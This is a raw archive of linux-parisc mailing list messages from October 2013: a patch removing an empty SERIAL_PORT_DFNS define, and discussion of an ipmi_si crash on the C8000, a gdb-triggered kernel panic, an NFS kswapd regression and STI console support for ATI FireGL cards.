X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.100.108] (unknown [61.148.203.198])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 3F8661840274;
	Thu, 31 Oct 2013 15:38:47 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <527202EF.6080704@asianux.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5439 gmane.linux.kernel:1587906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5439>

If architectures don't support SERIAL_PORT_DFNS, they need not define
it to "nothing", the related drivers need do it by themselves (e.g.
8250 serial driver).

Signed-off-by: Chen Gang <gang.chen@asianux.com>
---
 arch/frv/include/asm/serial.h    |    2 --
 arch/parisc/include/asm/serial.h |    2 --
 2 files changed, 0 insertions(+), 4 deletions(-)

diff --git a/arch/frv/include/asm/serial.h b/arch/frv/include/asm/serial.h
index dbb8259..658ceea 100644
--- a/arch/frv/include/asm/serial.h
+++ b/arch/frv/include/asm/serial.h
@@ -14,5 +14,3 @@
 #define BASE_BAUD 0
 
 #define STD_COM_FLAGS		ASYNC_BOOT_AUTOCONF
-
-#define SERIAL_PORT_DFNS
diff --git a/arch/parisc/include/asm/serial.h b/arch/parisc/include/asm/serial.h
index d7e3cc6..77e9b67 100644
--- a/arch/parisc/include/asm/serial.h
+++ b/arch/parisc/include/asm/serial.h
@@ -6,5 +6,3 @@
  * This is used for 16550-compatible UARTs
  */
 #define BASE_BAUD ( 1843200 / 16 )

From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Thu, 31 Oct 2013 13:06:06 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20131031120606.GA17366@alpha.franken.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
 <20131026191720.5282c0c3@marga.jer-c2.orkz.net>
 <20131028105612.GB19852@alpha.franken.de>
 <20131029093706.GA6255@alpha.franken.de>
 <236d3862441c13623a9fde73e6988591@sf-mail.de>
 <20131029164151.GA10616@alpha.franken.de>
 <5270119B.6060908@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383221172 13483 80.91.229.3 (31 Oct 2013 12:06:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 12:06:12 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 31 13:06:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vbr0x-0008TY-Qz
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Oct 2013 13:06:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752261Ab3JaMGP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 08:06:15 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:39899 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751817Ab3JaMGO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 08:06:14 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1Vbr0v-0003OJ-00; Thu, 31 Oct 2013 13:06:13 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id E65271D47B; Thu, 31 Oct 2013 13:06:06 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <5270119B.6060908@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5440>

On Tue, Oct 29, 2013 at 08:50:51PM +0100, Helge Deller wrote:
> Yes, I think it really makes sense to send this patch to stable kernel series.
> Without this patch, any parisc box (ok - probably only the C8000) crashes
> as soon as the ipmi driver is loaded.
> 
> Will you ask (e.g. if possible for kernel 3.0 and higher - not sure if
> it applies)? 

3.4 shows some fuzz and iirc there were some changes I needed to make for
inclusion into latest kernels. Afaik all other C8k went only into 3.10,
so that should be good enough. And the patch applies cleanly to 3.10.
I'll write mail to the stable team.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Thu, 31 Oct 2013 13:22:35 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <52724B8B.6070007@gmx.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de> <20131026191720.5282c0c3@marga.jer-c2.orkz.net> <20131028105612.GB19852@alpha.franken.de> <20131029093706.GA6255@alpha.franken.de> <236d3862441c13623a9fde73e6988591@sf-mail.de> <20131029164151.GA10616@alpha.franken.de> <5270119B.6060908@gmx.de> <20131031120606.GA17366@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383222157 25753 80.91.229.3 (31 Oct 2013 12:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 12:22:37 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 31 13:22:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbrGp-0005SA-4E
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Oct 2013 13:22:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752435Ab3JaMWi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 08:22:38 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:64985 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751817Ab3JaMWi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 08:22:38 -0400
Original-Received: from [192.168.178.60] ([84.173.43.191]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0LxMgg-1Vi18I2kHq-016w3D for
 <linux-parisc@vger.kernel.org>; Thu, 31 Oct 2013 13:22:36 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <20131031120606.GA17366@alpha.franken.de>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:cjnFhWObMTdMtyIniCLJ6X4J5N9DEe1VjPt6lsnIXsGymshGJi4
 D28O8tf9rjIki6DaCG/vowRFn+lYXHe2jlaNqw2967pWMZDSluJGgft8Az9yLtJJGtwNUoe
 5onxLFlmbasbdYyzA9My0GQN5Um/qZwVCZwVW4IQJctBtQVd/Ml5fR42wyPJrw1JcRhMHC/
 0WjSAivDiYSZ9LY1527cA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5441>

On 10/31/2013 01:06 PM, Thomas Bogendoerfer wrote:
> On Tue, Oct 29, 2013 at 08:50:51PM +0100, Helge Deller wrote:
>> Yes, I think it really makes sense to send this patch to stable kernel series.
>> Without this patch, any parisc box (ok - probably only the C8000) crashes
>> as soon as the ipmi driver is loaded.
>>
>> Will you ask (e.g. if possible for kernel 3.0 and higher - not sure if
>> it applies)? 
> 
> 3.4 shows some fuzz and iirc there were some changes I needed to make for
> inclusion into latest kernels. Afaik all other C8k went only into 3.10,
> so that should be good enough. And the patch applies cleanly to 3.10.
> I'll write mail to the stable team.

If possible >= 3.8 would be good.
I'm not sure Debians main unstable installation kernel is 3.8...

Helge 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Reproducible kernel panic using gdb
Date: Thu, 31 Oct 2013 15:35:26 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <75c041887735b2ec9338d8ee6f340a1c@tuxicoman.be>
References: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
 <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>
 <650fc503e24cdb24b5cc286aec329df6@tuxicoman.be>
 <1382970655.2161.2.camel@dabdike.int.hansenpartnership.com>
 <2125d8be63f7f5801abba4e67182d2e7@sf-mail.de>
 <1383023163.19537.3.camel@dabdike.int.hansenpartnership.com>
 <52701C9D.7080906@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383230147 27887 80.91.229.3 (31 Oct 2013 14:35:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 14:35:47 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 31 15:35:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbtLg-0003ts-QI
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Oct 2013 15:35:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754993Ab3JaOfs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 10:35:48 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:54511 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754550Ab3JaOfr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 10:35:47 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.133]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Thu, 31 Oct 2013 15:35:19 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1VbtLK-0005Mg-UX; Thu, 31 Oct 2013 15:35:27 +0100
In-Reply-To: <52701C9D.7080906@gmx.de>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5442
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5442>

On 2013-10-29 21:37, Helge Deller wrote:
> On 10/29/2013 06:06 AM, James Bottomley wrote:
>> 
>> On Mon, 2013-10-28 at 16:08 +0100, Rolf Eike Beer wrote:
>>> James Bottomley: wrote
>>>> On Mon, 2013-10-28 at 10:00 +0100, Guy Martin wrote:
>>>>> Hi Helge,
>>>>> 
>>>>>> 
>>>>>> Works without crash for me on 3.12-rc6 ?
>>>>>> Linux ls3011 3.12.0-rc6-64bit+
>>>>>> 
>>>>>> Since you run 3.10.6, maybe updating the kernel might help.
>>>>>> Esp. this patch, which has been backported to kernel 3.10 (and is 
>>>>>> in
>>>>>> 3.10.17):
>>>>>> http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-3.10.y&id=77587e89405f5d8225a0e750df254bcc2dcb73e1
>>>>> 
>>>>> Still the same problem with 3.12-rc6 here :
>>>> 
>>>> What system and CPU?
>>> 
>>> C8000
>> 
>> I tried this on a rp3440  (pa8800) and I can't reproduce.  I think it
>> might be something about the way the kernel is compiled.  The (null)
>> values for rp2 and IOAQ[0] look suspicious.
> 
> I tried it again, but this time on my c8000..
> Again, it does not crash for me.
> Kernel is 3.12.0-rc7-64bit.
> 
> I think James is right. Might be something with your compiler, but it 
> would
> be interesting what it is...


I've tried both
gcc-4.6.3 with ld 2.22
gcc-4.7.3 with ld 2.23.1

I've put a compiled kernel with modules here as well as the config :
http://www.tuxicoman.be/temp/linux-3.12-rc6-gdb-crash.tar.bz2

terminator linux-3.12-rc6 # hppa64-unknown-linux-gnu-gcc -v
Using built-in specs.
COLLECT_GCC=/usr/hppa2.0-unknown-linux-gnu/hppa64-unknown-linux-gnu/gcc-bin/4.7.3/hppa64-unknown-linux-gnu-gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/hppa64-unknown-linux-gnu/4.7.3/lto-wrapper
Target: hppa64-unknown-linux-gnu
Configured with: 
/var/tmp/portage/sys-devel/kgcc64-4.7.3/work/gcc-4.7.3/configure 
--prefix=/usr 
--bindir=/usr/hppa2.0-unknown-linux-gnu/hppa64-unknown-linux-gnu/gcc-bin/4.7.3 
--includedir=/usr/lib/gcc/hppa64-unknown-linux-gnu/4.7.3/include 
--datadir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/4.7.3 
--mandir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/4.7.3/man 
--infodir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/4.7.3/info 
--with-gxx-include-dir=/usr/lib/gcc/hppa64-unknown-linux-gnu/4.7.3/include/g++-v4 
--host=hppa2.0-unknown-linux-gnu --target=hppa64-unknown-linux-gnu 
--build=hppa2.0-unknown-linux-gnu --disable-altivec 
--disable-fixed-point --without-cloog --without-ppl --disable-lto 
--enable-nls --without-included-gettext --with-system-zlib 
--enable-obsolete --disable-werror --enable-secureplt --disable-multilib 
--disable-libmudflap --disable-libssp --disable-libgomp 
--with-python-dir=/share/gcc-data/hppa64-unknown-linux-gnu/4.7.3/python 
--enable-poison-system-directories --enable-checking=release 
--disable-libgcj --disable-build-with-cxx 
--disable-build-poststage1-with-cxx --disable-libquadmath 
--enable-languages=c --disable-shared --disable-threads 
--without-headers --disable-bootstrap --enable-__cxa_atexit 
--enable-clocale=gnu --with-bugurl=http://bugs.gentoo.org/ 
--with-pkgversion='Gentoo 4.7.3 p1.3'
Thread model: single
gcc version 4.7.3 (Gentoo 4.7.3 p1.3)

Regards,
   Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Date: Thu, 31 Oct 2013 20:45:54 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <5272B372.8040307@gmx.de>
References: <52604BA9.20104@gmx.de>		 <1382044045.3216.44.camel@leira.trondhjem.org> <52618B5F.4000508@gmx.de>	 <1382124981.20461.4.camel@leira.trondhjem.org> <5261940A.4090101@gmx.de> <1382127133.20461.9.camel@leira.trondhjem.org> <5262CF20.20301@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-7
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383248758 4816 80.91.229.3 (31 Oct 2013 19:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 19:45:58 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: "Myklebust, Trond" <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Oct 31 20:46:01 2013
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1VbyBs-0003tO-1s
	for glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 31 Oct 2013 20:46:00 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751657Ab3JaTp5 (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Thu, 31 Oct 2013 15:45:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61523 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752122Ab3JaTp5 (ORCPT <rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 31 Oct 2013 15:45:57 -0400
Original-Received: from [192.168.178.60] ([84.173.43.191]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0Lx83d-1VijQQ0xT7-016cv6 for
 <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Thu, 31 Oct 2013 20:45:55 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <5262CF20.20301-Mmb7MZpHnFY@public.gmane.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:p2U74oBCFBgdFTgIEI3ubt2CyAGfpi4VRnBpFzwdab40rKjjaXq
 ZF56m1xZ05sDUBsU1cZxkBVHrqTS9B1xu/DL63wpY1sBrrhF0LqQpg9T5+yrT4ObjN/0s9x
 mo+Hg1dCYD7WyU/4S3yuRrzpXaUpPFAiWuppflV7DpjCPCJDls4yYCOSX3OiJS3CxHn74mp
 I9KgE4XwrSOo/YuvyfKNg==
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:59727 gmane.linux.kernel:1588242 gmane.linux.ports.parisc:5443
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/59727>

On 10/19/2013 08:27 PM, Helge Deller wrote:
> On 10/18/2013 10:12 PM, Myklebust, Trond wrote:
>> On Fri, 2013-10-18 at 22:03 m, Helge Deller wrote:
>>> On 10/18/2013 09:36 PM, Myklebust, Trond wrote:
>>>> Also, could you please try a sysRQ-t the next time it happens, so that
>>>> we can get a trace of where the mount program is hanging. Knowing that
>>>> the mount is stuck in "__schedule()" is not really interesting unless we
>>>> know from where that was called.
>>>
>>> Actually, the machine was still running in this state.
>>> Here is sysrq-t:
>>> [112009.084000] mount           S 00000000401040c0     0 25331      1 0x00000010
>>> [112009.084000] Backtrace:
>>> [112009.084000]  [<0000000040113a68>] __schedule
>>> [112009.232000]
>>> [112009.232000] mount.nfs       D 00000000401040c0     0 25332  25331 0x00000010
>>> [112009.232000] Backtrace:
>>> [112009.232000]  [<0000000040113a68>] __schedule
>>
>> That makes no sense unless sysrq-t works differently on parisc than on
>> other platforms. I'd expect the backtrace to at least include a system
>> call. Parisc experts?
> 
> sysrq-t doesn't work differently on parisc. For other processes I do get
> a backtrace like the one on x86_64.
> That's the main reason why I asked for ideas here on the list.
> I do see the stuck process, but don't see any indications where it comes from.

I'm pretty sure that the regression (kswapd using 100% CPU) I reported here is fixed by this patch:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?id=c56b097af26cb11c1f49a4311ba538c825666fed

I will start some testing...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: STI text console for ATI FireGL cards?
Date: Thu, 31 Oct 2013 22:26:00 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <5272CAE8.6050108@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383254764 10798 80.91.229.3 (31 Oct 2013 21:26:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 21:26:04 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 31 22:26:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vbzkh-0003tW-So
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Oct 2013 22:26:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751940Ab3JaV0D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 17:26:03 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60445 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751804Ab3JaV0C (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 17:26:02 -0400
Original-Received: from [192.168.178.60] ([84.173.43.191]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MNIi1-1Va50j2Haj-006zP7 for
 <linux-parisc@vger.kernel.org>; Thu, 31 Oct 2013 22:26:00 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:CUvVMSzhNagZUGsQrtLNiXgV1DHMyX00h8FsPA/Nmpm3VcbzvTY
 40NR0M6BA/xRcOGUxv2gIqatFc/e8YpUIBirv6YvTt3pJ84jVYoETCu+IE2KlauP3C0Py+j
 pqjlDFHc9LxusbX6L4n/guyi8W4iysqWdNB9W8DyAd5tW0kRgkZmy5CRxsJU52nLDcKOc+x
 PsMsBCsPSXYHWD3y61bFg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5444
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5444>

Hi all,

Maybe some people here on the list know the answer to this question?

Does the ATI FireGL cards (in e.g. a C8000) have a STI ROM?

I'm asking, because I noticed that with a 64bit kernel the
sticon driver (the Linux 8-color text console driver for STI) does 
crash while it worked nicely with a 32bit kernel.
I was able to fix this bug (patch is coming soon), but while
I was working on the driver, I found that it doesn't support
the ATI FireGL X1/X3 cards (e.g. in my C8000) either.
Now, as long as the Linux aty framebuffer drivers don't work reliable,
sticon would be at least a nice option for the text console.

Nevertheless, on the C8000 I do see the boot screen, e.g. for IPL.
So I'm wondering if with the ATI cards in general STI is used
for the boot screen or not.  

I did looked in the ATI cards PCI ROM for a secondary/third ROM,
but the things I found didn't looked like a STI-ROM either.

Any help/ideas would be appreciated.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Thu, 31 Oct 2013 22:40:22 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <15371438.W2EHpOsA1I@caliban.sf-tec.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1403406.CurATzSu1t"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1383255632 19601 80.91.229.3 (31 Oct 2013 21:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 21:40:32 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 31 22:40:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vbzyl-0001y2-0B
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Oct 2013 22:40:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752180Ab3JaVke (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 17:40:34 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:33710 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751806Ab3JaVke (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 17:40:34 -0400
Original-Received: (qmail 9137 invoked from network); 31 Oct 2013 21:40:31 -0000
Original-Received: from dslb-178-003-244-083.pools.arcor-ip.net ([::ffff:178.3.244.83]:49977 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 31 Oct 2013 22:40:31 +0100
User-Agent: KMail/4.11.2 (Linux/3.11.6-1.gf7498bf-desktop; KDE/4.11.2; x86_64; ; )
In-Reply-To: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
